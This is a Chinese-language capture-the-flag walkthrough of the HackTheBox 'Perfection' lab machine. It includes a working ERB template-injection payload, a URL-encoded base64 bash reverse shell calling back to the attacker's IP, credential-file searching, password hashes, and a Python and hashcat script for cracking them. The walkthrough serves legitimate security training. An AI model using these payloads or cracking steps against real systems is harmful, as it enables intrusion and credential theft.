HackTheBox-Perfection
每日一更 hackthebox 系列 Perfection 靶机
攻击:10.10.16.5
靶机:10.10.11.253
先Nmap去扫描:
(另外换了电脑 win11 实在是找不到xshell7的破解版 但是让我发现了另外一个平替的东西 MobaXterm 该说不说还挺好看)
另外kali我也装了新版
这次终于不用写hosts文件了
看看how to use
翻译了一下 计算权重
然后输入点东西看下
意思加起来得100 其实我搞不太懂权重的概念
大概是这样 你用的参数就填内容 不用填0 然后weight 要等于100
category1=1&grade1=0&weight1=100&category2=1&grade2=1&weight2=1&category3=1&grade3=11&weight3=1&category4=1&grade4=1&weight4=1&category5=1&grade5=11&weight5=1
大概这样一个参数 他的回显就是正常的 既然weight 这个改不了 然后试试别的参数有没有啥点
新的火狐没装插件呢 所以用whatweb看看 ruby语言 坏了 我压根就不懂这个语言的语法 所以得去看看语法 尝试命令注入 xss和sql 都不行 我试过了
大概是这么个语法
<%=system("id");%>
enmm报错了 算是好消息吧但是没回显
url 编码一下就可以了 但是好像没有回显 那就直接试试 让他ping我 看看到底执行没有
监听一下 icmp
诶嘿 说明执行了 他还是执行了 所以反弹shell试一下
payload
base64 <<< "bash -i >& /dev/tcp/10.10.16.5/1234 0>&1" | sed 's/\+/\%2b/'
# 注意:sed 命令用于从 base64 字符串中删除 '+',以防止 burpsuite 认为它是一个空格。
category1=History%0A<%25%3dsystem("echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNi41LzEyMzQgMD4mMQo=c+|+base64+-d+|+bash");%25>
监听端口
执行成功 获取到flag
交互式shell
script /dev/null -qc /bin/bash
sudo -l 需要输入密码
找找跟当前用户有关的东西
find / -uid 1001 -type f -ls 2>/dev/null | grep -v "/proc*"
find / -name "*susan*" -type f -ls 2>/dev/null
cat /var/mail/susan
grep -i password -R .
strings Migration/pupilpath_credentials.db | grep -i "susan" # "tina"
这些文件没啥用的
看了看邮件
看到密码格式了 找找密码相关的文件
grep -i password -R .
cat Migration/pupilpath_credentials.db
# 看这个文件
接下来就破解密码呗
这里用
strings 好看一点
kali 要想用hashcat 需要内存高一点 我的新的kali没设置 所以 只能用windows
就报错
这个题其实有点毛病 这个密码破解到啥时候去了 10位数字啊 那就顺着跑都得跑好长时间
其实到这里密码大差不差就能破解了呗 不用hashcat更快 用python3一样的
这里还有个小坑 外国人不会踩的那种 看这个哈希
常理都以为 空格后面是哈希 但是 这个BYD他叫 苏珊·米勒!! 也就是Susan Miller 这之后才是hash
Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S
David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP
Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O
Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
所以hash的值是
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
1-1000000000 循环呗 已知密码格式
import os
for i in range(1,1000000001):
# 密码格式 {name}_{反过来的name}_{1到100....的数字}
name = f'susan_nasus_{i}'
cmd = os.popen(f"echo -n {name}|sha256sum")
res = cmd.read()
# 这个hash 在上面的那个.db 文件看到的
h = 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f'
if h in res:
print(name)
这就是密码呗 亲测 python3 比 hashcat 快多了 自己调整下线程 Thread 不懂线程的就直接nohup 挂着都可以 hashcat 我等了好半天也没啥动静
hashcat -a 3 -m 1400 susan.hash "susan_nasus_?d?d?d?d?d?d?d?d?d" --quiet -o pwd.txt
hashcat 用这个命令去解决等 或者不加后面的参数 然后需要status 是Cracked 就是破解成功了
sudo -l
有所有权限
那就直接cat /root/root.txt
获取flag